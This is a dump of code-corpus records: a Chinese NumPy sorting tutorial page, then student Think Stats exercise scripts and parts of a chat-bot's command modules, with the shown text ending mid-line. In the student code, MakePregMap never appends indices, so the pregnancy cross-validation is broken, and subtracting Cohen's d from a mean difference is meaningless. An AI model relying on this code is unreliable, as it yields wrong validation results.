<div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程</a></li>\n<li><a href=\"./intro.html\"> NumPy简介</a></li>\n<li><a href=\"./setup.html\"> NumPy安装</a></li>\n<li><a href=\"./datatype.html\"> NumPy数据类型</a></li>\n<li><a href=\"./ndarray.html\"> NumPyNDArray</a></li>\n<li><a href=\"./ndarray-creation.html\"> NumPy创建NDArray</a></li>\n<li><a href=\"./ndarray-property.html\"> NumPyNDArray属性</a></li>\n<li><a href=\"./ndarray-operation.html\"> NumPy操作NDArray</a></li>\n<li><a href=\"./slice-index.html\"> NumPy切片和索引</a></li>\n<li><a href=\"./advance-index.html\"> NumPy高级索引</a></li>\n<li><a href=\"./broadcast.html\"> NumPy广播</a></li>\n<li><a href=\"./bit-operation.html\"> NumPy位运算</a></li>\n<li><a href=\"./math.html\"> NumPy数学函数</a></li>\n<li><a href=\"./arithmetic.html\"> NumPy算术函数</a></li>\n<li><a href=\"./statistics.html\"> NumPy统计函数</a></li>\n<li><a href=\"./sort.html\"> NumPy排序</a></li>\n<li><a href=\"./statistics.html\"> NumPy统计函数</a></li>\n<li><a href=\"./linalg.html\"> NumPy线性代数</a></li>\n<li><a href=\"./matrix.html\"> NumPy矩阵</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>NumPy 排序,条件刷选函数</h1>\n<p>NumPy 提供了多种排序的方法。 这些排序函数实现不同的排序算法,每个排序算法的特征在于执行速度,最坏情况性能,所需的工作空间和算法的稳定性。 下表显示了三种排序算法的比较。</p>\n<table>\n<thead>\n<tr>\n<th align=\"left\">种类</th>\n<th align=\"left\">速度</th>\n<th align=\"left\">最坏情况</th>\n<th align=\"left\">工作空间</th>\n<th align=\"left\">稳定性</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\"><code>'quicksort'</code>(快速排序)</td>\n<td align=\"left\">1</td>\n<td align=\"left\"><code>O(n^2)</code></td>\n<td align=\"left\">0</td>\n<td align=\"left\">否</td>\n</tr>\n<tr>\n<td align=\"left\"><code>'mergesort'</code>(归并排序)</td>\n<td align=\"left\">2</td>\n<td align=\"left\"><code>O(n*log(n))</code></td>\n<td align=\"left\">~n/2</td>\n<td align=\"left\">是</td>\n</tr>\n<tr>\n<td align=\"left\"><code>'heapsort'</code>(堆排序)</td>\n<td align=\"left\">3</td>\n<td align=\"left\"><code>O(n*log(n))</code></td>\n<td align=\"left\">0</td>\n<td align=\"left\">否</td>\n</tr>\n</tbody>\n</table>\n<h3>numpy.sort()</h3>\n<p>numpy.sort() 函数返回输入数组的排序副本。函数格式如下:</p>\n<pre><code>numpy.sort(a, axis, kind, order)\n</code></pre>\n\n<p>参数说明:</p>\n<ul>\n<li>a: 要排序的数组</li>\n<li>axis: 沿着它排序数组的轴,如果没有数组会被展开,沿着最后的轴排序, axis=0 按列排序,axis=1 按行排序</li>\n<li>kind: 默认为'quicksort'(快速排序)</li>\n<li>order: 如果数组包含字段,则是要排序的字段</li>\n</ul>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\na = np.array([[3,7],[9,1]]) \nprint('我们的数组是:')\nprint(a)\nprint('\\n')\nprint('调用 sort() 函数:')\nprint(np.sort(a))\nprint('\\n')\nprint('按列排序:')\nprint(np.sort(a, axis = 0))\nprint('\\n')\n# 在 sort 函数中排序字段 \ndt = np.dtype([('name', 'S10'),('age', int)]) \na = np.array([(&quot;raju&quot;,21),(&quot;anil&quot;,25),(&quot;ravi&quot;, 17), (&quot;amar&quot;,27)], dtype = dt) \nprint('我们的数组是:')\nprint(a)\nprint('\\n')\nprint('按 name 排序:')\nprint(np.sort(a, order = 'name'))\n</code></pre>\n\n<h3>numpy.argsort()</h3>\n<p>numpy.argsort() 函数返回的是数组值从小到大的索引值。</p>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\nx = np.array([3, 1, 2]) \nprint('我们的数组是:')\nprint(x)\nprint('\\n')\nprint('对 x 调用 argsort() 函数:')\ny = np.argsort(x) \nprint(y)\nprint('\\n')\nprint('以排序后的顺序重构原数组:')\nprint(x[y])\nprint('\\n')\nprint('使用循环重构原数组:')\nfor i in y: \n print(x[i], end=&quot; &quot;)\n</code></pre>\n\n<h3>numpy.lexsort()</h3>\n<p>numpy.lexsort() 用于对多个序列进行排序。把它想象成对电子表格进行排序,每一列代表一个序列,排序时优先照顾靠后的列。</p>\n<p>这里举一个应用场景:小升初考试,重点班录取学生按照总成绩录取。在总成绩相同时,数学成绩高的优先录取,在总成绩和数学成绩都相同时,按照英语成绩录取…… 这里,总成绩排在电子表格的最后一列,数学成绩在倒数第二列,英语成绩在倒数第三列。</p>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\nnm = ('raju','anil','ravi','amar') \ndv = ('f.y.', 's.y.', 's.y.', 'f.y.') \nind = np.lexsort((dv,nm)) \nprint('调用 lexsort() 函数:') \nprint(ind) \nprint('\\n') \nprint('使用这个索引来获取排序后的数据:') \nprint([nm[i] + &quot;, &quot; + dv[i] for i in ind])\n</code></pre>\n\n<p>上面传入 np.lexsort 的是一个tuple,排序时首先排 nm,顺序为:amar、anil、raju、ravi 。综上排序结果为 [3 1 0 2]。</p>\n<h3>msort、sort_complex、partition、argpartition</h3>\n<table>\n<thead>\n<tr>\n<th align=\"left\">函数</th>\n<th align=\"left\">描述</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"left\">msort(a)</td>\n<td align=\"left\">数组按第一个轴排序,返回排序后的数组副本。np.msort(a) 相等于 np.sort(a, axis=0)。</td>\n</tr>\n<tr>\n<td align=\"left\">sort_complex(a)</td>\n<td align=\"left\">对复数按照先实部后虚部的顺序进行排序。</td>\n</tr>\n<tr>\n<td align=\"left\">partition(a, kth[, axis, kind, order])</td>\n<td align=\"left\">指定一个数,对数组进行分区</td>\n</tr>\n<tr>\n<td align=\"left\">argpartition(a, kth[, axis, kind, order])</td>\n<td align=\"left\">可以通过关键字 kind 指定算法沿着指定轴对数组进行分区</td>\n</tr>\n</tbody>\n</table>\n<p>复数排序:</p>\n<pre><code class=\"python\">import numpy as np\nnp.sort_complex([5, 3, 6, 2, 1])\n\nnp.sort_complex([1 + 2j, 2 - 1j, 3 - 2j, 3 - 3j, 3 + 5j])\n</code></pre>\n\n<p>partition() 分区排序:</p>\n<pre><code class=\"python\">a = np.array([3, 4, 2, 1])\n# 将数组 a 中所有元素(包括重复元素)从小到大排列,3 表示的是排序数组索引为 3 的数字,比该数字小的排在该数字前面,比该数字大的排在该数字的后面\nnp.partition(a, 3) \n\n # 小于 1 的在前面,大于 3 的在后面,1和3之间的在中间\nnp.partition(a, (1, 3))\n</code></pre>\n\n<p>找到数组的第 3 小(index=2)的值和第 2 大(index=-2)的值</p>\n<pre><code class=\"python\">arr = np.array([46, 57, 23, 39, 1, 10, 0, 120])\narr[np.argpartition(arr, 2)[2]]\narr[np.argpartition(arr, -2)[-2]]\n</code></pre>\n\n<p>同时找到第 3 和第 4 小的值。注意这里,用 [2,3] 同时将第 3 和第 4 小的排序好,然后可以分别通过下标 [2] 和 [3] 取得。</p>\n<pre><code class=\"python\">arr[np.argpartition(arr, [2,3])[2]]\narr[np.argpartition(arr, [2,3])[3]]\n</code></pre>\n\n<h3>numpy.argmax() 和 numpy.argmin()</h3>\n<p>numpy.argmax() 和 numpy.argmin()函数分别沿给定轴返回最大和最小元素的索引。</p>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\na = np.array([[30,40,70],[80,20,10],[50,90,60]]) \nprint ('我们的数组是:') \nprint(a) \nprint('\\n') \nprint('调用 argmax() 函数:') \nprint(np.argmax(a)) \nprint('\\n') \nprint('展开数组:') \nprint(a.flatten()) \nprint('\\n') \nprint('沿轴 0 的最大值索引:') \nmaxindex = np.argmax(a, axis = 0) \nprint(maxindex) \nprint('\\n') \nprint('沿轴 1 的最大值索引:') \nmaxindex = np.argmax(a, axis = 1) \nprint(maxindex) \nprint('\\n') \nprint('调用 argmin() 函数:') \nminindex = np.argmin(a) \nprint(minindex) \nprint('\\n') \nprint('展开数组中的最小值:') \nprint(a.flatten()[minindex]) \nprint('\\n') \nprint('沿轴 0 的最小值索引:') \nminindex = np.argmin(a, axis = 0) \nprint(minindex) \nprint('\\n') \nprint('沿轴 1 的最小值索引:') \nminindex = np.argmin(a, axis = 1) \nprint(minindex)\n</code></pre>\n\n<h3>numpy.nonzero()</h3>\n<p>numpy.nonzero() 函数返回输入数组中非零元素的索引。</p>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\na = np.array([[30,40,0],[0,20,10],[50,0,60]]) \nprint('我们的数组是:')\nprint(a)\nprint('\\n')\nprint('调用 nonzero() 函数:')\nprint(np.nonzero (a))\n</code></pre>\n\n<h3>numpy.where()</h3>\n<p>numpy.where() 函数返回输入数组中满足给定条件的元素的索引。</p>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\nx = np.arange(9.).reshape(3, 3) \nprint('我们的数组是:')\nprint(x)\nprint( '大于 3 的元素的索引:')\ny = np.where(x &gt; 3) \nprint(y)\nprint('使用这些索引来获取满足条件的元素:')\nprint(x[y])\n</code></pre>\n\n<h3>numpy.extract()</h3>\n<p>numpy.extract() 函数根据某个条件从数组中抽取元素,返回满条件的元素。</p>\n<h4>练习</h4>\n<pre><code class=\"python\">import numpy as np \n\nx = np.arange(9.).reshape(3, 3) \nprint('我们的数组是:')\nprint(x)\n# 定义条件, 选择偶数元素\ncondition = np.mod(x,2) == 0 \nprint('按元素的条件值:')\nprint(condition)\nprint('使用条件提取元素:')\nprint(np.extract(condition, x))\n</code></pre>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" } ]
47
cjorosco/DSC530
https://github.com/cjorosco/DSC530
77c83ec5b7e8770184655eb669007f46ca84d1b9
32d8f29f62a11bd964c038862bc4c0c706ff40cb
7f675fd2d9b1f88450819ac93169cf024ac53d4e
refs/heads/master
2021-04-05T11:56:47.749470
2020-05-29T20:58:14
2020-05-29T20:58:14
248,554,724
0
1
null
2020-03-19T16:41:37
2020-03-19T16:41:44
2020-03-27T19:30:34
null
[ { "alpha_fraction": 0.6188246607780457, "alphanum_fraction": 0.6391945481300354, "avg_line_length": 28.05442237854004, "blob_id": "141b098a092775f93e53564963ad6dcf8334ded3", "content_id": "80d0eaad8c9b33305738f52986ed1f4b1baee95e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4271, "license_type": "no_license", "max_line_length": 83, "num_lines": 147, "path": "/DSC530-Chap2-corosco.py", "repo_name": "cjorosco/DSC530", "src_encoding": "UTF-8", "text": "\"\"\"This file contains code for use with \"Think Stats\",\nby Allen B. Downey, available from greenteapress.com\n\nCopyright 2014 Allen B. Downey\nLicense: GNU GPLv3 http://www.gnu.org/licenses/gpl.html\n\n Modifed by corosco for Chapter 2 exercises\"\"\"\nfrom __future__ import print_function\n\nimport sys\nfrom operator import itemgetter\n\nimport first\nimport thinkstats2\n\n\ndef Mode(hist):\n \"\"\"Returns the value with the highest frequency.\n\n hist: Hist object\n\n returns: value from Hist\n \"\"\"\n p, x = max([(p, x) for x, p in hist.Items()])\n return x\n\n\ndef AllModes(hist):\n \"\"\"Returns value-freq pairs in decreasing order of frequency.\n\n hist: Hist object\n\n returns: iterator of value-freq pairs\n \"\"\"\n return sorted(hist.Items(), key=itemgetter(1), reverse=True)\n\n\ndef WeightDifference(live, firsts, others):\n \"\"\"Explore the difference in weight between first babies and others.\n\n live: DataFrame of all live births\n firsts: DataFrame of first babies\n others: DataFrame of others\n \"\"\"\n mean0 = live.totalwgt_lb.mean()\n mean1 = firsts.totalwgt_lb.mean()\n mean2 = others.totalwgt_lb.mean()\n\n var1 = firsts.totalwgt_lb.var()\n var2 = others.totalwgt_lb.var()\n\n print('Mean')\n print('First babies', mean1)\n print('Others', mean2)\n\n print('Variance')\n print('First babies', var1)\n print('Others', var2)\n\n print('Difference in lbs', mean1 - mean2)\n print('Difference in oz', (mean1 - mean2) * 16)\n\n print('Difference relative to mean (%age points)', \n (mean1 - mean2) / mean0 * 100)\n\n d = thinkstats2.CohenEffectSize(firsts.totalwgt_lb, others.totalwgt_lb)\n print('Cohen d', d)\n \n \"\"\"corosco Mar 27 2020 - Added Code for 2-1 and 2-4\"\"\"\n \n # difference between Cohen's d to the difference between the means of the total\n # weights\n print(\"************** Difference between mean and cohen' d ***********\")\n mean_delta = mean2 - mean1\n print(f'Delta beween the weight means: {mean_delta}')\n \n cohen_diff = mean_delta - d\n print(f'Delta between Cohens d and Delta Mean: {cohen_diff}')\n print(\"************** End Difference between mean and cohen' d *************\")\n return\n \ndef LengthDifference(live, firsts, others):\n \"\"\"Code added to explore the differences in pregnancy lengths.\n corosco Mar 27th 2020 Ex. 2-1, 2-4\"\"\"\n \n mean0 = live.prglngth.mean()\n mean1 = firsts.prglngth.mean()\n mean2 = others.prglngth.mean()\n std0 = live.prglngth.std()\n std1 = firsts.prglngth.std()\n std2 = others.prglngth.std()\n\n\n print('**************Explore Pregnancy Lengths***************')\n print(f'Mean Length of all pregancies: {mean0}')\n print(f'Mean Length of first pregancies: {mean1}')\n print(f'Mean Length of others pregancies: {mean2}')\n print(f'Std deviation of total pregnancy lengths is: {std0}')\n print(f'Std deviation of Firsts pregnancy lengths is: {std1}')\n print(f'Std deviation of Others pregnancy lengths is: {std2}')\n \n # Compute Cohen's d for pregnancy length\n len_d = thinkstats2.CohenEffectSize(firsts.prglngth, others.prglngth)\n print(f'Cohen d for pregnancy length: {len_d}')\n \n # Compute delta between mean and cohen's d\n mean_delta = mean1 - mean2\n print(f'Delta beween the length means: {mean_delta}')\n cohen_d = mean_delta - len_d\n print(f'Delta between Cohens d and mean_delta: {cohen_d}')\n print('*****************nEnd Explore Pregnancy Lengths **************')\n return \n \ndef main(script):\n \"\"\"Tests the functions in this module.\n\n script: string script name\n \"\"\"\n live, firsts, others = first.MakeFrames()\n hist = thinkstats2.Hist(live.prglngth)\n\n # explore the weight difference between first babies and others\n WeightDifference(live, firsts, others)\n \n \"\"\" Code added corosco Mar 27 2020 - Explore\n prgenancy lengths Ex 2-1, 2-4\"\"\"\n LengthDifference(live, firsts, others)\n \n # test Mode \n mode = Mode(hist)\n print('Mode of preg length', mode)\n assert(mode == 39)\n\n # test AllModes\n modes = AllModes(hist)\n assert(modes[0][1] == 4693)\n\n for value, freq in modes[:5]:\n print(value, freq)\n\n print('%s: All tests passed.' % script)\n \n \n\n\nif __name__ == '__main__':\n main(*sys.argv)\n" }, { "alpha_fraction": 0.6332781314849854, "alphanum_fraction": 0.6469370722770691, "avg_line_length": 27.104650497436523, "blob_id": "50cad03c4964cb439cf2b8ebc6ed5731b0c17c55", "content_id": "95cb84269ef8c85d9d6ce2a7d379e3b89e229959", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2416, "license_type": "no_license", "max_line_length": 101, "num_lines": 86, "path": "/DSC530_chap1-2_corosco.py", "repo_name": "cjorosco/DSC530", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 27 09:12:49 2020\n\n@author: corosco\n\n\"\"\"\n\n\nimport thinkstats2\nfrom collections import defaultdict\n\ndef ReadFemResp(dct_file='2002FemResp.dct',\n dat_file='2002FemResp.dat.gz',\n nrows=None):\n \"\"\"Reads the NSFG respondent data.\n dct_file: string file name\n dat_file: string file name\n returns: DataFrame\n \"\"\"\n dct = thinkstats2.ReadStataDct(dct_file)\n df = dct.ReadFixedWidth(dat_file, compression='gzip', nrows=nrows)\n \"\"\"CleanFemResp(df)\"\"\"\n return df\n\ndef ReadFemPreg(dct_file='2002FemPreg.dct',\n dat_file='2002FemPreg.dat.gz'):\n \"\"\"Reads the NSFG pregnancy data.\n\n dct_file: string file name\n dat_file: string file name\n\n returns: DataFrame\n \"\"\"\n dct = thinkstats2.ReadStataDct(dct_file)\n df = dct.ReadFixedWidth(dat_file, compression='gzip')\n \"\"\"CleanFemPreg(df)\"\"\"\n return df\n\ndef MakePregMap(df):\n \"\"\"Make a map from caseid to list of preg indices.\n\n df: DataFrame\n\n returns: dict that maps from caseid to list of indices into `preg`\n \"\"\"\n d = defaultdict(list)\n for index, caseid in df.caseid.iteritems():\n d[caseid]\n return d \n \ndef ValidatePregnum(resp, preg):\n \"\"\"Validate pregnum in the respondent file.\n\n resp: respondent DataFrame\n preg: pregnancy DataFrame\n \"\"\"\n # make the map from caseid to list of pregnancy indices\n preg_map = MakePregMap(preg)\n \n # iterate through the respondent pregnum series\n for index, pregnum in resp.pregnum.iteritems():\n caseid = resp.caseid[index]\n indices = preg_map[caseid]\n\n # check that pregnum from the respondent file equals\n # the number of records in the pregnancy file\n if len(indices) != pregnum:\n print('Inconsistent values in Resp and Preg files')\n print(f'CASEID: {caseid}, Nbr in preg file: {len(indices)}, Nbr in Resp file: {pregnum}')\n return False\n return True\n\ndef main():\n resp = ReadFemResp()\n preg = ReadFemPreg()\n # Print out Value Counts for Resp.pregnum\n print('Value Counts for pregnum')\n print(resp.pregnum.value_counts().sort_index())\n # Cross-Validate Resp and Preg and compare pregnum with preg file\n status = ValidatePregnum(resp, preg)\n print(f'Cross validate Resp and Preg files Result: {status}')\n \n \nmain()" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.7200000286102295, "avg_line_length": 11.5, "blob_id": "35418f6f9b66b91a60f8df870c92f6ad09335657", "content_id": "0ca0b51fc3d707982b06fb14a78c65644e42f243", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 25, "license_type": "no_license", "max_line_length": 15, "num_lines": 2, "path": "/README.md", "repo_name": "cjorosco/DSC530", "src_encoding": "UTF-8", "text": "# DSC530\n code for class\n" }, { "alpha_fraction": 0.686920702457428, "alphanum_fraction": 0.7209062576293945, "avg_line_length": 26, "blob_id": "45a95fb9141745e38f9e987fd41b4c82b05ae721", "content_id": "50d8ece581cf4459ed06cd9a317410b66d90fde7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 975, "license_type": "no_license", "max_line_length": 97, "num_lines": 36, "path": "/DSC530_week2_corosco.py", "repo_name": "cjorosco/DSC530", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 19 09:37:35 2020\n\n@author: corosco\n\nDisplay the text “Hello World! I wonder why that is always the default coding text to start with”\nAdd two numbers together\nSubtract a number from another number\nMultiply two numbers\nDivide between two numbers\nConcatenate two strings together (any words)\nCreate a list of 4 items (can be strings, numbers, both)\nAppend an item to your list (again, can be a string, number)\nCreate a tuple with 4 items (can be strings, numbers, both)\n\n\"\"\"\n\nprint('Hello World! I wonder why that is always the default coding text to start with')\nnew_nbr = 3+4\nprint(new_nbr)\nnew_nbr = 4-3\nprint(new_nbr)\nnew_nbr = 3*4\nprint(new_nbr)\nnew_nbr = 12/3\nprint(new_nbr)\nnew_string = \"I get to work\" + \"from home\"\nprint(new_string)\nmy_list = [\"years married\", \"hawaii\", 1977, 43]\nprint(my_list)\nmy_list.append(\"Wahiawa\")\nprint(my_list)\nmy_tuple = (\"Tuesday\", \"Wednesday\", 2, 3)\nprint(my_tuple)" } ]
4
Alex1um/Reworked-bot
https://github.com/Alex1um/Reworked-bot
d7c8c1e19446059f9daea1b54abb87871d50e052
393256b83bc1d170de02093d0b99698737cc9b9d
70419698d49ff8d8d4f620f3224c45ff43008681
refs/heads/master
2023-05-27T06:59:42.673216
2021-06-10T12:17:47
2021-06-10T12:17:47
260,433,317
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.35886499285697937, "alphanum_fraction": 0.37258902192115784, "avg_line_length": 41.125, "blob_id": "1a16abe2e937ad630f83f22534eb4d3f6a5b1647", "content_id": "f9be30af090c35682972b879c46887e16fef486e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5936, "license_type": "no_license", "max_line_length": 77, "num_lines": 128, "path": "/commands/translate.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import pickle\n\n\ndef dothis(message):\n \"\"\"\n Function to translate text\n :param message:\n :return: translated text\n \"\"\"\n\n def replace(lst1, lst2, text, a=True):\n \"\"\"\n function to replace symbols\n :param lst1: keys\n :param lst2: values\n :param text: sentence\n :param a: - replace all symbols\n :return:\n \"\"\"\n text = text.strip().lower()\n res = [0] * len(text)\n i = 0\n while i < len(text):\n if text[i:i + 2] in lst1 if i < len(text) - 1 else False:\n res[i] = lst2[lst1.index(text[i:i + 2])]\n i += 1\n elif text[i] in lst1:\n res[i] = lst2[lst1.index(text[i])]\n elif a and text[i:i + 2] in lst2 if i < len(text) - 1 else False:\n res[i] = lst1[lst2.index(text[i:i + 2])]\n i += 1\n elif a and text[i] in lst2:\n res[i] = lst1[lst2.index(text[i])]\n else:\n res[i] = text[i]\n i += 1\n return ''.join(filter(lambda x: x != 0, res))\n\n def code(message, dd, mode):\n \"\"\"\n code morse\n :param message:\n :param dd: dict of symbols\n :param mode: decode or encode\n :return:\n \"\"\"\n if mode == 'en': # кодирование\n message = message.upper()\n message = message.replace(' ', '%321') # кодирование символов\n message = message.replace('-', '—')\n message = message.replace('.', '...... ')\n message = message.replace('%321', '-...- ')\n for k, v in dd.items(): # остальные символы\n message = message.replace(k, v)\n return message.replace('.', '•').replace('-', '−')\n elif mode == 'de': # декодирование\n message = message.replace('•', '.').replace('−', '-')\n if message[-1] != ' ':\n message += ' '\n message = message.replace('...... ', '%3213') # уже используются\n message = message.replace('-...- ', '%111')\n for k, v in dd.items(): # все символы\n message = message.replace(v, k)\n message = message.replace('%3213', '.') # уже используются\n message = message.replace('%111', ' ')\n return message.lower()\n\n p = message.params\n if len(p) > 0:\n try:\n if p[0] == 'er':\n return replace(\n ('q', 'w', 'e', 'r', 't', 'y', 'u', 'i', \"o\", 'p', '[',\n ']', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';',\n \"'\", 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',', '.'),\n ('й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ', 'з', 'х',\n 'ъ', 'ф', 'ы', 'в', 'а', 'п', 'р', 'о', 'л', 'д', 'ж',\n 'э', 'я', 'ч', 'с', 'м', 'и', 'т', 'ь', 'б',\n 'ю'), ' '.join(p[1::]), False)\n elif p[0] == 'tr1':\n return replace(\n ('sh', \"sh\", 'ch', 'ja', \"'u\", \"'\", 'y', 'u', 'k', 'e',\n 'n', 'g', 'z', 'h', \"'\", 'f', 'i', 'v', 'a', 'p', 'r',\n 'o', 'l', 'd', 'j', \"e\", 's', 'm', 'i', 't', 'b', 'c'),\n ('ш', 'щ', 'ч', 'я', 'ю', 'ь', 'й', 'у', 'к', 'е',\n 'н', 'г', 'з', 'х', 'ъ', 'ф', 'ы', 'в', 'а', 'п', 'р',\n 'о', 'л', 'д', 'ж', 'э', 'с', 'м', 'и', 'т', 'б',\n 'ц'), ' '.join(p[1::]))\n elif p[0] == 'tr2':\n return replace(\n (\"'a\", \"'u\", 'y', 'c', 'u', 'k', 'e', 'n', 'g', 'w', \"w\",\n 'z', 'h', \"'\", 'f', 'i', 'v', 'a', 'p', 'r', 'o', 'l',\n 'd', 'j', \"e\", '4', 's', 'm', 'i', 't', \"'\", 'b'),\n ('я', 'ю', 'й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ',\n 'з', 'х', 'ъ', 'ф', 'ы', 'в', 'а', 'п', 'р', 'о', 'л',\n 'д', 'ж', 'э', 'ч', 'с', 'м', 'и', 'т', 'ь',\n 'б'), ' '.join(p[1::]))\n elif p[0] == 'morse':\n if p[1] in {'rus', 'eng'}:\n if p[2] in {'en', 'de'}:\n f = open(fr'commands/files/morse_{p[1]}.tr', 'rb')\n return code(' '.join(p[3::]), pickle.load(f), p[2])\n f.close()\n return '!translate morse {rus|eng} {en|de} {text}'\n except:\n pass\n return '!translate {er|tr1|tr2|morse} {text}'\n\n\ndef main():\n return (\"translate\",\n \"tr translate\",\n dothis,\n '{translate | tr} {er | tr1 | tr2} {Текст}\\n'\n '{translate | tr} {morse} {rus | eng} {en | de} {Текст}\\n'\n 'Перевод текста из одной системы в другую. \\n'\n 'er - Переводит неправильную раскладку в правильную\\n'\n 'tr1 - Переводит транслит в нормальный текст, а нормальный '\n 'текст в транслит - вариант 1\\n'\n 'tr2 - Переводит транслит в нормальный текст, а нормальный '\n 'текст в транслит - вариант 2\\n'\n 'morse переводит(en) русский(rus) или английский(eng) язык в '\n 'азбуку морзе или расшифровывает(den'\n 'Например translate morse rus en привет выведет'\n ' •−−• •−• •• •−− • −',\n 0,\n None,\n \"Перевод текста\"), None, None\n" }, { "alpha_fraction": 0.4875469207763672, "alphanum_fraction": 0.49198225140571594, "avg_line_length": 37.06493377685547, "blob_id": "a6472dadb21bb5fdaa29589c6159bc4381d8f7e8", "content_id": "3204005a9383aae1218ddef12acbd8a2a6ddc7e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3184, "license_type": "no_license", "max_line_length": 75, "num_lines": 77, "path": "/commands/settings.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import *\n\n\ndef dothis(message):\n \"\"\"\n Function to allow commands to use settings\n :param message:\n :return: current setting with answer options\n \"\"\"\n system: ChatSystem = message.cls.main_system\n session = message.get_session()\n status = message.get_setting(session, 'active')\n current_set = system.SETTINGS\n if 'Выход' in message.params:\n message.delete_active(session)\n return {'msg': 'Успешно!', 'keyboard': [[], False]}\n new_bar = \" \"\n # if status:\n # for n in status.value.split()[1:]:\n # new_bar += n + \" \"\n # current_set = current_set[n]\n params = message.params.copy()\n if params:\n while isinstance(current_set, dict) and\\\n params and params[0] in current_set.keys():\n param = params.pop(0)\n current_set = current_set[param]\n new_bar += param + \" \"\n if isinstance(current_set, tuple):\n if message.user.level >= current_set[1]:\n ans = current_set[0](params, system, message)\n if isinstance(ans, tuple) and isinstance(ans[1], bool):\n if not ans[1]:\n if status:\n status.value = message.sym + 'set' + new_bar\n session.commit()\n else:\n message.add_setting(session,\n 'active',\n 'set' + new_bar.strip())\n return {'msg': new_bar + '\\n' + ans[0],\n 'keyboard': [[[('Выход', 'negative')]], False]}\n else:\n message.delete_active(session)\n return {'msg': ans[0], 'keyboard': [[]]}\n message.delete_active(session)\n return {'msg': ans, 'keyboard': [[]]}\n\n else:\n return \"Не хватает прав\"\n else:\n if status is None:\n message.add_setting(session, 'active', 'set' + new_bar.strip())\n elif new_bar.strip():\n status.value = message.sym + 'set' + new_bar\n session.commit()\n keys = list(current_set.keys())\n return {'msg': \"!settings\" + new_bar + ' ' + '{' + '|'.join(\n keys) + '}', 'keyboard': [\n [*[keys[i:i + 5] for i in range(0, len(keys), 5)],\n [('Выход', 'negative')]], False]}\n\n\ndef main():\n return (\"settings\",\n \"set settings\",\n dothis,\n 'set | settings {предложанный вариант}\\n'\n 'Настройки\\n'\n 'После каждого ввода команды, вам предлагаются варианты. '\n 'Для выбора варианта введите этот вариант'\n 'у и один из вариантов через пробел. '\n 'Чтобы вернуться к первоначальному выбору настроек, '\n 'введите команду set без параметров',\n 0,\n None,\n \"Настройки\"), None, None\n" }, { "alpha_fraction": 0.4738306701183319, "alphanum_fraction": 0.48416590690612793, "avg_line_length": 35.11004638671875, "blob_id": "7b97fa6034bac5c755132b96d11d96564e52df8f", "content_id": "4fc491df69d2b421dd31c3eb2ca7e2e072a38c40", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7934, "license_type": "no_license", "max_line_length": 80, "num_lines": 209, "path": "/commands/stupidAI/parser.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from pymorphy2.analyzer import MorphAnalyzer\n# from .tools import Equations as Eq\nfrom commands.stupidAI.tools import Equations as Eq\nfrom commands.stupidAI.tools import ChemicalEquations as Ce\nimport wikipedia\nfrom string import ascii_lowercase\nimport random\nimport re\n\nanalyzer = MorphAnalyzer()\nsigns = re.compile(r'[!?,.]')\ntranslit = {'shh': 'щ', 'jo': 'ё', 'yo': 'ё', 'zh': 'ж', 'ch': 'ч', 'sh': 'ш',\n '##': 'ъ', 'tz': 'ъ', 'mz': 'ь', 'je': 'э', 'ju': 'ю', 